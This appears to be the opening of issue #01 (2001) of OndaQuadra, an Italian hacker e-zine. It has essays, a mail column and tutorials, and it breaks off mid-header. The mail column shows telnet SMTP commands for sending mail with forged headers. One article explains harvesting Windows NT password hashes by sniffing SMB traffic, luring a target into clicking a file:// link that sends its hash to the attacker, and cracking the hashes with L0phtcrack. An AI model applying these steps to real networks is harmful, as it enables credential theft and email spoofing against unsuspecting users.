___ ___ ____ ___ /\ \ /\__\ /\ \ /\ \ /00\ \ /NN| | /DD\ \ /AA\ \ /0/\0\ \ /N|N| | /D/\D\ \ /A/\A\ \ /0/ /\0\ \ /N/|N| |__ /D/ /\D\___\ /A/_/\A\ \ /0/ / /0|--|/N/ |N| /\__\ /D/_/ \D| | /AA\ \ \A\__\ /0/_/ /0/ / \/__|N|/N/ / \D\ \ |D| |/A/\A\ \/A/ / \0\ \/0/ / |N/N/ / \D\ \ |D| |\/_/\A\/A/ / \0\ /0/ / |NN/ / \D\ \|D| | \AA/ / \000/ / /N/ / \D\/DD|__| /A/ / \0/__/ \/__/ \DDD/__/ /A/__/ ___ ___ ___ ___ ___ /\ \ ___ /\ \ /\ \ /\ \ /\ \ /QQ\ \ /\__\ /AA\ \ /DD\ \ /RR\ \ /AA\ \ /Q/\Q\ \ /U/ / /A/\A\ \ /D/\D\ \ /R/\R\ \ /A/\A\ \ /Q/ /\Q\ \ /U/ / ___ /A/_/\A\ \ /D/ /\D\ _\ /R/ /\R\ \ /A/_/\A\ \ /Q/ / \Q|--| /U/ / /\__\ /AA\ \ \A\__\ /D/_/ \D| | /R/ / \R\__\ /AA\ \ \A\__\ /Q/_/ /Q/ / /U/_/ /U/ //A/\A\ \/A/ / \D\ \ |D| |/R/ / __|R| //A/\A\ \/A/ / \Q\ \ /Q/ / \U\ \ /U/ / \/_/\A\/A/ / \D\ \ |D| |\/ / |RRR/__/ \/ /\A\/A/ / \Q\_/Q/ / \U\_/U/ / \AA/ / \D\ \/D| | \/ |R| | \/ \AA/ / \QQQ/__/ \UUU/ / /A/ / \D\/DD|__| |R| | /A/ / \QQ| | \U/__/ /A/__/ \DDD/__/ |R|_| /A/__/ |Q|__| +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ #01 - 19/03/2001 | +-------------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +-------------------------------------------------------------------------------+ | ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | | Diritti e doveri dei cittadini: Rapporti civili | | | | Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | INDICE | +-------------------------------------------------------------------------------+ | [L0GiN] | | 0x00 iNTR0 AL NUMER0 01 ........................................ [oq ~ staff] | | 0x01 iPSE DiXiT ................................................ [oq ~ staff] | | 0x02 GURU MEDiTATi0N ............................................ [Tritemius] | | 0x03 RETR: LA P0STA Di 0Q ....................................... [Malkavian] | +-------------------------------------------------------------------------------+ | [HACKiNG] | | 0x04 LE PASSW0RD Di LiNUX ............................................ [reef] | | 0x05 SMB SNiFFiNG e L0PHTCRACK ....................................... [E4zy] | | 0x06 UN CGi AL Gi0RNO LEVA iL R00T Di T0RN0 ...................... [Tdi110cv] | | 0x07 NETBi0S, CAiN E LE PASSW0RD Di WiND0WS 9.x ....................... [Max] | +-------------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x08 BUTT SNiFF & iNTR0 AL TCP/iP (2/2).......................... [Tritemius] | | 0x09 C0NFiGURAZi0NE DEL C0NSEAL ................................... [KillJoy] | | 0x0A P0RTE TCP/UDP ............................................... [_phobos_] | | 0x0B WHAT U MUST TO KNOW I ...................................... [Malkavian] | | 0x0C C0NFiGURARE UNA LAN .......................................... [Weisses] | +-------------------------------------------------------------------------------+ | [GENTLEMAN L0SER ~ iL M0ND0 Di iRC] | | 0x0D GESTiRE L'EGGDR0P ............................................... [E4zy] | | 0x0E QUERY SNiFFiNG .................................................. [E4zy] | +-------------------------------------------------------------------------------+ | [CRACKiNG] | | 0x0F ELIMINARE SAFEDISC r4 PER CARMAGEDDON TD3200 ..... [Andrea"Carma"Geddon] | +-------------------------------------------------------------------------------+ | [MiSC] | | 0x10 Gi0CARE 0NLiNE ................................................. [Mysha] | | 0x11 MUD: THE GATE................................................... [Mysha] | | 0x12 TRUCCHiAM0 i N0STRi Gi0CHi ..................................... [Mysha] | | 0x13 C0NSiDERAZi0Ni SUL KURDiSTAN ..................................... [BLa] | +-------------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x14 INTR0 ALLE MACR0 .............................................. [Mastro] | | 0x15 SMART CARD ..................................................... [tahoo] | | 0x16 C0DiNG4DUMMiES: C0DiFiCHiAM0 iN EXCEL .......................... [Mysha] | | 0x17 CRACKiNG4DUMMiES: PARTE 2 ...........,,,,,................... [_phobos_] | | 0x18 C0DiNG4DUMMiES: PiNG C0N VB ...........,,,,,................... [JEYoNE] | +-------------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x19 LiNUX VS WiND0WS ............................................ [Tdi110cv] | +-------------------------------------------------------------------------------+ | [C0NTATTi] | | 0x1A D0VE TR0VARCi ............................................. [oq ~ staff] | +-------------------------------------------------------------------------------+ | [ALLEGATi] | +-------------------------------------------------------------------------------+ | 0x00 PiNG C0N VB (Vedi articolo 0x18) ......,,,,,................... [JEYoNE] | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #01 - 19/03/2001 | | EDiT0RiALE [oq ~ staff] 0x00/0x1A | +-------------------------------------------------------------------------------+ Apriamo il secondo numero di OQ con un saluto: JEYoNE, co-fondatore della rivista ci lascia per qualche mese: la Patria lo ha chiamato e lui, con entusiasmo impareggiabile e infinito senso del dovere, si e' precipitato a svolgere il suo compito di soldatino del Bene. At-tenti JEYoNE :))) C'e' chi va, c'e' chi viene. Se JEYoNE si congeda (da noi :D) con un articolo su Visual Basic, in questo numero troviamo nuovi collaboratori. E4Zy con interessanti articoli sul mondo di IRC e altro; reef ci parla delle password di Linux e dell'algoritmo criptografico DES; KillJoy aiuta chi si vuol configurare un firewall (il Conseal); Mastro ci parla di Macro e l'ottimo articolo di Tahoo ci porta nel mondo delle Smart Card. Qualcuno si stupira' di trovare un articolo sul Kurdistan. Ma il nostro spirito e' lo spirito della liberta': delle persone e dei popoli. BLa ci parla del popolo kurdo. E poi i soliti amici: Phobos e AndreaGeddon continuano a reversare senza sosta; Malkavian (postino ufficiale di OQ) si distrae un po' troppo con i giochi di ruolo :); la seconda parte dell'articolo di quel babbano di Tritemius sullo sniffing; Tdi e Mysha che scrivono articoli in quantita' industriale: avanti cosi' cocchi ! Ultimo ma non ultimo, l'articolo di Weisses, membro fondatore di quella banda di simpaticoni degli "Hackmaniaci", senza i quali OQ non esisterebbe. Un ringraziamento a Mr.Wolf e www.bismark.it che ospitano la nostra rivista e a www.punto-informatico.it che ha segnalato OQ nella sua sezione dei 5 siti del giorno. Vogliamo inoltre salutare i nostri "cugini" delle altre ezine italiche, da Newbies ad Ais, da BFi a SSystem e tutti gli altri, e complimentarci in particolar modo con "Daily Disinfo". Il prossimo numero dovrebbe essere disponibile verso il 18 Giugno. Naturalmente attendiamo i vostri commenti, ma anche la vostra collaborazione. A tal proposito abbiamo attivato un indirizzo di posta elettronica, dove potete inviare i vostri articoli: articoli@ondaquadra.cjb.net. Buona lettura, e buon Hack-it 2001 ! NOTA: Non esistono solo Windows e Linux: gli utenti di altri sistemi, da Amiga a Mac, farebbero meglio a darsi una mossa e farsi sentire. Sveglia, a meno che non amiate la "mistica del ghetto". In questo caso affari vostri. ABBASS0 iL DU0P0Li0 WiN-LiN !!! +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #01 - 19/03/2001 | | iPSE DiXiT: Le frasi che rimarranno nella storia [oq~staff] 0x01/0x1A | +-------------------------------------------------------------------------------+ "Ip, shell: piu' che hacker sembriamo benzinai..." (Weisses a Milano allo Smau 2000) +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #01 - 19/03/2001 | | GURU MEDiTATi0N [Tritemius] 0x02/0x1A | +-------------------------------------------------------------------------------+ LAMAS0FFiCE E' T0RNATA A BANGAL0RE ================================== (poemetto ermetico-cyberpunk...) Era una giornata grigia, anche i colori erano grigi. Una di quelle giornate in cui ci si sente come lacrime nella pioggia... La consegna era andata bene, senza complicazioni. Ma neppure l'adrenalina che di solito accompagna questo genere di cose lo poteva consolare: Lamasoffice era tornata a Bangalore. Arkanoid era appena uscito dal "Gentleman Loser". Con un gesto automatico si fece scivolare le lenti scure sugli occhi, mentre si aggirava per i desolati agglomerati urbani della citta' bassa: era piu'pallido del solito. Gli interventi chirurgici subiti per installare le protesi biodigitali necessarie per fuggire da una malattia degenerativa, avevano lasciato una traccia pesante sul suo sistema nervoso, ma anche il simstim alla fine perde efficacia. Nella sua testa risuonava un colore silenzioso, liscio levigato; ma subito dopo una tempesta di sinapsi impazzite generava un vortice dalle pareti di ghiaccio, dove le immagini scivolavano e si moltiplicavano riflettendosi all'infinito, entrando in un loop ottico-infinito fino all'esaurimento dello stack neurale... Ma anche questo non aveva piu' importanza ormai. Lamasoffice era tornata a Bangalore. (Gibson e Ginsberg mi perdonino :) ) 23 == Il 23 Maggio 1989 viene trovato in un bosco nei pressi di Hannover il corpo carbonizzato di Karl Koch, detto "Hagbard Celine", ventitreenne "hacker" tedesco, vicino al celebre "Chaos Computer Club" di Amburgo, e coinvolto in un clamoroso caso di spionaggio. Un gruppo di pirati-informatici (Hagbard Celine, Pengo, DOB, Pedro, Urmel) decidono di infiltrarsi nei sistemi dell'establishment scientifico-militare statunitense (NASA, Pentagono) e passare le informazioni al KGB, il famigerato servizio informativo dell' Unione Sovietica (un po'una "CIA comunista"). Karl era un ragazzo caratterialmente fragile alla continua ricerca di se stesso, di una identita'. Rimasto orfano giovanissimo, dopo aver dilapidato l'eredita' del padre, trova uno scopo, e lo trova in un libro. Piu' che uno scopo probabilmente si tratta di una fissazione psicotica e paranoide: il Mondo e' minacciato da un complotto ordito da misteriose organizzazioni segrete, gli hacker devono scongiurare il pericolo ! Karl si immedesima in "Hagbard Celine", l'eroe del libro. Il libro incriminato e' "La mela d'oro", secondo episodio della "trilogia degli Illuminati" (gli altri due sono "L'occhio nella piramide" e "Leviatano"). Ma si tratta veramente di fantasia o c'e' dell'altro ? Sicuramente il ragazzo aveva seri problemi di equilibrio e vedeva una realta' ingigantita e deformata; Eppure la sensazione che le masse siano effettivamente "ipnotizzate" e inconsapevoli del mondo in cui vivono e' forte e sempre piu' diffusa. Il celebre sociologo McLuhan, lo studioso che "invento'" il termine "villaggio globale", autore della celebre frase "il medium e' il messaggio", utilizza spesso il terminte "ipnotizzare" riferendosi allo stato dell'uomo nell'Era della comunicazione nei confronto dei "media"; il "dissidente" americano Noam Chomsky parla in modo chiaro di quanto siano fasulle le "democrazie" e come gli Stati Uniti utilizzino la propaganda, la violenza e la corruzione per mantere il controllo; vi e' poi l'interessante saggio di Viviane Forrester, "Una strana dittatura", che mostra come in realta' il termine "globalizzazione" non e' che una etichetta vuota, dietro la quale si nascondono interessi di pochi (pre)Potenti; la propaganda e l'uso distorto dell'informazione servono a diffondere l'idea che la "globalizzazione" coincide in modo esclusivo con l'ultraliberismo, e la "Legge del Mercato" e' una legge fatale, alla quale le persone e i popoli non possono che inchinarsi. Tutto cio' senza scomodare paranoici della "cospirazione" e studiosi del simbolismo massonico. Sicuramente il fatto che i mezzi di informazione di regime abbiano etichettato ("il popolo di Seattle") gli individui critici nei confronti di una "globalizzazione" che non accetta critiche, come un manipolo di teppisti, fingendo di ignorare che si tratta in realta' di uno schieramento "trasversale" ed eterogeneo, e' abbastanza indicativo. ("23 La storia dell'hacker Karl Koch", Edizioni Shake, Collana Underground). PHERSU: PSiC0PAT0L0GiA DELL'HACKiNG QU0TiDiAN0... ================================================= Nell'era d Internet il primo brivido che prova il newbbissimo che tenta di divenatre un "hacker" deriva dall'azione di mascheramento della propria identita'. Non intendo l'identita' anagrafica, quella e' gia' celata. Parlo dell'"impronta" digitale, il famigerato indirizzo ip, tramite il quale gli sbirri sono in grado di trovarti. Beccato quello, l'anonimato va a farsi fottere. Qui inizia l'utilizzo dei "proxy", strumenti che di fatto si usano per "mascherare" il proprio indirizzo reale. La ricerca del proxy, del Wingate, del Socks: la nostra maschera nella Rete. Ma anche nel nostro agire quotidiano indossiamo una (o piu') maschere; le insidie sono diverse, ma il nostro "Io" ci induce a utilizzare "proxy" psicologici. Il tutto in modo trasparente. Con persone diverse ci comportiamo in modo diverso. In circostanze diverse ci comportiamo in modo diverso. Lo stesso "Io" si traveste ai nostri occhi, diventando inafferrabile. I nostri movimenti, i nostri vestiti, sono maschere: linguaggi da reversare, codici da crackare della quotidianita'. E non a caso il significato etimologico della parola "persona", ovvero "phersu" (di derivazione etrusca), significa "maschera". Evidentemente gia' allora si era capito quanto fosse importante l'arte di dissimulare e l'arte di decodificare la dissimulazione... "Chi vive piu' di una vita muore piu' di una morte..." (Oscar Wilde) +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #01 - 19/03/2001 | | RETR: LA P0STA DI OQ [Malkavian] 0x03/0x1A | +-------------------------------------------------------------------------------+ Allooooora...comincia in questo secondo numero di Ondaquadra la nuova rubrica della posta, in cui il sottoscritto in primis, coadiuvato dagli altri illustri membri dell'oq~stuff, vi dara' delucidazioni riguardo incomprensioni e/o problemi riscontrati durante la lettura della e-zine. Innanzitutto vorrei ringraziare moltissimo tutti quelli che hanno inviato mail piene di complimenti e di 'in bocca al lupo' per la nascita di questo ardito progetto: con impegno sempre crescente cercheremo di portare avanti questa e-zine nel migliore dei modi... Passiamo ora a rispondere in modo esauriente e cenciso alle domande poste dai lettori. - La domanda che mi e' piu' stata posta e' se Ondaquadra e' una e-zine a cui tutti possono contribuire. La risposta a tale quesito e' un secco e lapidario SI' !!! Ondaquadra e' un luogo virtuale in cui chiunque abbia volonta', capacita' ed entusiasmo puo' lasciare il suo segno, quindi datevi da fare e collaborate, collaborate, collaborate! Ribadisco che noi accettiamo di buon grado anche suggerimenti e/o consigli e/o critiche da chi si ritiene all'altezza di darne:) - La seconda domanda piu' frequente e' se qualunque possessore di un sito dedicato all'hacking puo' fare il mirror di Ondaquadra. La risposta e' anche qui un bel SI': chiunque sia interessato puo' scaricarsi la rivista e uploadarla sul suo sito, a patto di non modificarne NESSUNA parte, ma di mantenerla identica all'originale. Oppure se vi puo' sembrare piu' semplice potete creare un semplice link al sito http://ondaquadra.cjb.net - Altra domanda, relativa al mio articolo sul SocksCap32 e' stata dove poterlo reperire... nemmeno la fatica di cercarvelo da soli eh :)) Beh, il programma in questione e' scaricabile all'url http://www.socks.nec.com/cgi-bin/download.pl ed e' gratissss !! - Altra domanda relativa al mio articolo su SocksCap e' stata dove trovare i comandi smtp per inviare e-mail col telnet. Innanzitutto vi rimando ai numerosissimi tutorial sull'argomento, che si trovano praticamente ovunque sui siti smanetteschi:) Poi, poiche' oggi sono buono :))), vi elenco qui brevemente tali comandi: telnet smtp.server.it 25 HELO vostro.provider.it MAIL FROM: vostro.indirizzo.it RCPT TO: indirizzo.destinatario.it DATA ----> (se volete comprensivo di intestazioni false:)) . ----> un punto su una riga sola per terminare la spedizione della mail - Altra richiesta di un lettore e' riguardante l'articolo di Tritemius sullo Scanning: vorrebbe saperne di piu' sui tipi di scanning meno comunemente usati, come il FIN, il null, il Xmas tree. Beh, non mi resta che da girare la richiesta al prode Tritemius, che in uno dei prossimi numeri potrebbe ampliare il discorso illustrando anche questi tipi di scanning. Il fatto e' che, come dice lui nell'articolo "...il metodo che mantiene un buon compromesso di affidabilita' e discrezione rimane il SYN scan..." - Mi si chiede poi quale MUD si consiglia al lettore per iniziare questa affascinante avventura dei GDR online. Debbo premettere che l'articolo di Mysha sulla questione dei Mud ha affascinato anche il sottoscritto, tanto da fargli dedicare buona parte del suo tempo al gioco online. Non saprei bene quale mud consigliarti, in quanto, come hai visto dalla lista di Mysha ce ne sono moltissimi di MultiUserDungeon. Io posso solo dire che il migliore da quanto ho potuto capire resta TheGate, il primo mud italiano con un proprio client grafico, con ovvii vantaggi per i giocatori... Comunque ho anche una pagina sul mio sito www.malkavian13.org, dove illustro le qualita' di TheGate e dove c'e' anche il link per il loro sito...Buon divertimento!!! IMPORTANTE!!! - Mi e' stata inviata una mail di critica (atipica negli ambienti smanetteschi, ma che mi ha fatto anche piacere ricevere perche' mi dara' modo di esprimere quello che io penso riguardo l'argomento 'usi dell'hacking' :)).Rispondo qui per dimostrare che noi non censuriamo in alcun modo le critiche, ma che rispondiamo costruttivamente. Mi si chiedeva se scrivendo articoli o allestendo siti sull'hacking non ci fossimo mai chiesti in che mani potessero finire tali informazioni. Il lettore sottolinea il fatto che tali contenuti, se messi nelle mani sbagliate, cioe' di delinquenti senza scrupoli, possono essere usati anche per scopi delinquenteschi, che esulano dallo spirito originario dell'hacking. Beh, devo dire che mi sono soffermato moltissime volte a pensare se scrivere queste cose fosse producente o meno, cioe' se si riesca tramite una e-zine a far capire che l'hacking dovrebbe essere solo il puro e sano divertimento di un appassionato di computer. Ovviamente una risposta non c'e'...Ognuno trova nell'hacking quello che cerca, io spero che nessuno lo usi per rubare dati confidenziali, per scopo di lucro, per rubare carte di credito ecc. In particolare mi ha sempre sconvolto leggere tutorial di persone (secondo me ignobili) che spiegano come costruire bombe, eccetera... Non credo che tali informazioni possano essere divulgate cosi' apertamente, perche'non si sa mai in quali mani vanno a finire! Conosciamo tutti quanto sia labile la psiche umana, quanto sottile in confine bene-male e soprattutto quanta attrazione il male eserciti sul- l'uomo. Non tutti possono dirsi talmente forti da resistere alla tentazione di provare le proprie doti di artificiere 'casalingo' devastando la macchina di un antipatico vicino... Quindi riguardo tali contenuti ho anch'io un drastico giudizio negativo! Ma riguardo all'hacking le cose sono un po' diverse: sappiamo tutti quanto ostracismo ci sia nei vari canali dedicati all'argomento su irc...se non trovi un santo che sia disposto a prenderti come suo discepolo non troverai chi dissolva i tuoi dubbi...E sappiamo anche quanti dubbi assalgano la mente di un neo-smanettone :)) Una e-zine ha il pregio di poter raggiungere un vasto numero di appassionati, che possono trarre da qui le nozioni necessarie e le spiegazioni utili a perseguire il loro scopo, che auspico essere smanettare per puro divertimento e per dimostrare le proprie capacita' informatiche e la propia passione per il pc. Davvero mi auguro con tutto il cuore che sia questo il vostro fine smanettesco...le violenze, i furti, ecc. lasciamoli per favore ai TeleGiornali e alla vita reale... Spero che i lettori siano abbastanza saggi da capire queste cose e del resto, come ha detto Tritemius nello scorso numero, riportando una frase di 'Matrix': 'Io ti mostro la via: sta a te varcare la soglia...' Chiudo qui questa rubrica sulla posta di OQ, invitandovi a mandare ancora le vostre idee, opinioni, ecc. al nostro indirizzo. Byezzz !!! :)) <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #01 - 19/03/2001 | | LE PASSW0RD Di LiNUX ....................................... [reef] 0x04/0x1A | +-------------------------------------------------------------------------------+ Scritto in: poco tempo Con l'ausilio di: VivinC(sto male :\ ),Camel,Coca-Cola,crostini alla cipolla Con il "supporto"di : Marla&D3x0,gli Hackmaniaci e i vari simpaticoni di IRC. Le Password di Linux Le passwoed degli utenti sono conservate nel file /etc/passwd e questo si sa, ma cme queste password vengono generate e quanto sono sicure? Š possibile forzare la sicurezza delle password?e incremantarla? In questo articolo diretto ai newbies cercher• di spiegarlo. Le password di Linux sono generate tramite un algoritmo di IBM, il Data Encryption Standard (DES), questo algoritmo Š piuttosto vecchiotto tuttavia Š il pi— utilizzato al mondo da circa 25 anni. Il DES Š nato grazie ad una richiesta specifica del National Bureau of Standards,riguardo ad un algoritmo di crittaggio per le informazioni non classificate e il prodotto IBM fu approvato nel 1977 da NSA e NBS. Crittaggio e decrittaggio basati su una chiave a 64 bit (56 per il crittaggio e 8 di controllo) rendono IMPOSSIBILE decrittare direttamenteuna password, essendoci 70.000.000.000.000.000(settanta quadrilioni) di possibili chiavi a 56 bit,l'unico metodo Š provare tutte le chiavi possibili usando input noti e output DES. I vari programmini che troviamo ingiro per la rete non fanno altro che svolgere questa operazione, confrontando l'output crittato delle parole contenute in un file dizionario con gli hash del sistema, NON decrittano la password direttamente che Š ONE WAY. Ma come funziona il DES? L'algoritmo funziona come un insieme di cifre che agisce su frame di dati da 64 bit, pi— grandi vengono spezzettati e le parti rimanenti ,inferiori a 64 bit vengono ingrandite con ulteriori bit in DES che fanno da riempitivo per rendere possibile l'operazione di crittaggio. Sistemati in questo modo i frame il DES procede alla cifratura in 3 passaggi: 1.Prima permutazione I bit vengono spostati dalla loro posizione originale in una tabella che rende possobile la loro ricombinazione 2.Trasformazione I bit spostati in questo modo formano un insieme di input che viene rimescolato secondo un procedimento matematico 3.Seconda permutazione Ora abbiano ottentuto un altro insieme di bit, un insieme di pre output, questo insieme viene ripermutato Come risultato finale avremo l'output cifrato. Ma anche il DES pur sembrando cos sicuro ha i suoi bei limiti, infatti le password di linux crittate con questo algoritmo sono craccabili in pochi minuti non per l'inefficenza del sistema utilizzato (ovvio che dopo tutti questi anni sia obsoleto), ma per fattori quali il limite di caratter utilizzabili per la propria password e su tutti il fattore umano,infatti gli utenti specialmente se inesperti o poco paranoici tendono a scegliere password potenzialmente deboli. Sarebbe bello ora soffermarsi sulle tecniche di cracking ma tratter• questo argomento un'altra volta se mi permetteranno di farlo (ti prego Tritemiuuuus!) [in ginocchio pleaz :) ndtrtms] Tuttavia prima di parlare di cracking dal lato pratico penso sia di dovere almeno accennare ai metodi utilizzati per un incremento della sicurezza . Le password possono venire oscurate,e nelle nuove versioni di Linux questo avviene solitamente tramite il pacchetto shadow. Con questo metodo il file /etc/passwd rimane leggibile ma le password si trovano in /etc/shadow mantre in /etc/passwd rimarranno solo dei sostitutivi , non solo,questo pacchetto software Š molto potente e contiene varie utility per la gestione delle password oltre che delle informazioni sugli utenti. Il centro di gravita' intorno al quale ruota il pacchetto e' il file /etc/shadow,questo assomigila ad /etc/password ma non deltutto. Il file e' composto da un record per riga diviso in nove parti che delimitano campi come nome utente,password,etc. Il fatto e' che tra i campi ci sono parametri quali il numero di giorni tra cui l'utente avra' il permesso di cambiare la password la scadenza etc. Questo pacchetto implementa due aspetti interessanti cioe' il concetto di scadenza dopo la quale gli utendi devono cambiare la loro password ela chiusura automatica dell'account in caso di rifiuto, cos da aumentare notevolmente la sicurezza nella del database delle password. Se poi giudichiamo insufficente anche questo oscuramento delle password non ci rimane che passare ad un sistema di hashing piu' avanzato del DES,come l'MD5,tool per negare agli utenti la scelta di password deboli,sistemi di password usa e getta o sistemi di identificazione biometrica (hehehe fiko come nei film). Reef Per eventuali commenti,insulti,notifike,inviti a cena,volgarita',offerte di lavoro,di mamme sorelle etc. non esitate a scrivere anke solo per dirmi v4ff4nCu|0. e-mail: n0inf0@hushmail.com +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #01 - 19/03/2001 | | SMB SNiFFiNG e L0PHTCRACK .................................. [E4zy] 0x05/0x1A | +-------------------------------------------------------------------------------+ - Intro SMB Packet Capture, ovvero la tecnica che permette di ascoltare il segmento di rete locale popolato dalla vostra workstation e intercettare il traffico delle autenticazioni tra il server NT e le workstation L'intercettazione del traffico d'autenticazione si rivela particolarmente utile nel caso in cui non sia reperibile il backup del database delle password del sistema NT (sam._ è il backup compresso del password file), che solitamente si trova in c:\winnt\repair, esso contiene l'hash delle password dell'amministratore e dell'account guest ma spesso viene eliminato o manomesso dall'admin in quanto potenzialmente dannoso per la sicurezza del server stesso. Inoltre spesso non risulta possibile dumpare il sam dal registro di configurazione a causa delle restrizioni imposte dall'amministratore. A questo punto lo sniffing dei pacchetti delle autenticazioni potrebbe rivelarsi vincente nell'assicurare all'attacker di turno uno o più account. - Intercettazione del traffico di rete L0phtcrack è uno strumento largamente utilizzato nel cracking di password file NT, esso è famoso proprio per la sua versatilità: oltre ad essere un ottimo strumento di cracking offre una serie di funzioni integrate che permettono di prelevare gli hash delle password, tra questi troviamo proprio l'utility SMB packet capture. Una volta avviata si mette in ascolto sul segmento di rete locale popolato dalla vostra workstation e intercetta il traffico d'autenticazione, i dati raccolti potranno essere forniti in seguito al programma L0pthcrack per l'operazione di cracking vera e propria. - Rete switchata Premessa Ci sono differenti topologie di rete, che corrispondono a loro volta a diverse tecnologie d'implementazione. Per cablare a stella una rete logica a bus occorre un componente di rete particolare detto Hub che è caratterizzato da un certo numero di porte, ad ogni porta viene collegato un pc che popolerà il segmento di rete. Il compito dell'Hub sarà quello di fungere da nodo per la rete, tutto ciò che sarà ricevuto su una delle porte sarà trasmesso su tutte le n porte. HUB ------------------------- Input | | --------|---->  -----|-----> Output |__________|____________| | |--------> Output L'Hub non è l'unico che permette di ottenere un'implementazione di rete di questo tipo, esiste un particolare componente chiamato switch che pur essendo molto simile all'hub lavora in modo leggermente differente, esso trasmette ciò che gli arriva come input su una determinata porta al solo pc interessato. Intercettazione del traffico su rete munita di switch Come molti di voi avranno già capito in una rete munita di switch le cose si complicano un po', in quanto non siamo più in grado di ascoltare i segmenti di rete sui quali transitano le autenticazioni degli altri pc. A differenza di una rete munita di Hub dove le autenticazioni vengono inoltrate a tutti i pc della rete, in una rete switchata esse arrivano solo ai diretti interessati impedendone lo sniffing con il metodo classico descritto in precedenza. Fortunatamente i L0pth ci vengono incontro aiutandoci a superare questo inconveniente con un po' d'astuzia, dovremo forzare ad autenticarsi il sistema che vogliamo attaccare, per permettere ciò dovremo operare come segue, cito testualmente l'esempio riportato nelle FAQ al sito dei L0pth: "Inviate un'e-mail al sistema obiettivo dell'attacco, sia questa una postazione personale oppure una rete aziendale. Includete nel messaggio un'URL in questa forma file:////nomevostrocomputer/condivisione/messaggio.html. Chiunque faccia clic sul collegamento, spedirà l'hash della propria password tentando l'autenticazione al vostro sistema." - LanManager hash e NT hash ------------------------------------------------------------------------- | Source IP | Destination IP | LanMan Hash | NT Hash | |------------------|------------------|----------------|----------------| | 192.168.202.37 | 192.168.202.44 | ce850a4b67df | b580c7edf923 | | 192.168.202.37 | 192.168.202.44 | f6dc860b03ab | e9b0c96dacfe | | 192.168.202.30 | 192.168.202.44 | 8b4ced92f4ae | 000000000000 | | 192.168.202.30 | 192.168.202.44 | 4ce9d0ecfa2b | 000000000000 | | | | | | Lo schema rappresenta la semplificazione dell'interfaccia dell'utility SMB Packet Capture del programma L0phtcrack, dall'output traspare che esso ha catturato le autenticazioni rispettivamente dei sistemi che accedono alla rete con l'ip 192.168.202.37 e 192.168.202.30 . Come si può notare da tale schema alcuni client (192.168.202.30) all'interno del campo NT hash hanno un valore nullo, questo sta ad indicare che si tratta di un sistema Windows9x che di conseguenza utilizza l'algoritmo LanManger ovvero l'algoritmo di hash standard di Windows9x. Diversamente il sistema 192.168.202.37 è palesemente l'NT server in quanto in grado di utilizzare l'algoritmo di hash proprietario di Windows NT. L'hash LanManager è molto debole e si rivela molto più semplice da crackare, questo rende del tutto inefficace l'algoritmo di hash di NT a causa della necessità, da parte di quest'ultimo, di adottare due diversi tipi di cifratura delle password per assicurare piena compatibilità tra i sistemi NT e Windows9x; dallo schema si può notare, infatti, che un sistema NT utilizza entrambi gli hash per comunicare rendendo in questo modo del tutto inutile il più robusto algoritmo proprietario di NT. - Cracking degli hash Una volta ottenuti i pacchetti SMB non vi resta che darli in pasto al programma L0pthcrack, dovete come prima cosa specificare una wordlist da utilizzare per l'attacco, per far questo basterà utilizzare il menù File => Open Wordlist File. Successivamente sarà possibile impostare le opzioni d'attacco dal menù Tools alla voce Options, abilitando l'opzione Brute Force Attack sarà possibile effettuare un attacco utilizzando stringhe generate in maniera random dal programma stesso, assicurando un attacco molto più proficuo a scapito però del tempo necessario per completare tale operazione. E' possibile selezionare il set di caratteri che il programma userà per generare tali stringhe aumentando o diminuendone la complessità che risulterà direttamente proporzionale al tempo d'esecuzione del programma. Personalmente consiglio l'intervallo di caratteri A-Z, 0-9 ovvero tutte le stringhe che è possibile comporre utilizzando le lettere dalla A alla Z e i numeri compresi tra lo 0 e il 9. L'abilitazione dell'opzione Dictionary/Brute Hybrid comporterà, come dice la parola stessa, un attacco ibrido tra il tipo Dictionary e Brute Force ovvero saranno provate tutte le stringhe composte dalle parole contenute nella wordlist con l'aggiunta di un numero di caratteri pari al numero settato nel campo apposito denominato appunto Characters. - Caratteristiche dell'hash LanManager Il tallone d'Achille dell'algoritmo di hash LanManger consiste nella suddivisione logica della password in due password di sette caratteri ciascuna, questo permette al programma di cracking di elaborarle come tali, decifrando in maniera indipendente le due metà come fossero password differenti. - Alcune considerazioni Alla luce dei fatti possiamo affermare che una password di 7 caratteri risulta più sicura di una password composta da un numero maggiore di caratteri, sempre che la seconda parte contenga indizi sufficienti che potrebbero facilitare la ricostruzione della prima parte. Supponendo che la password contenga essenzialmente caratteri alfanumerici il tempo di cracking necessario per permetterne una decifratura ammonterà al massimo a un totale di 24 ore +-------------------------------------------------------------------------------+ | ONDAQUADRA 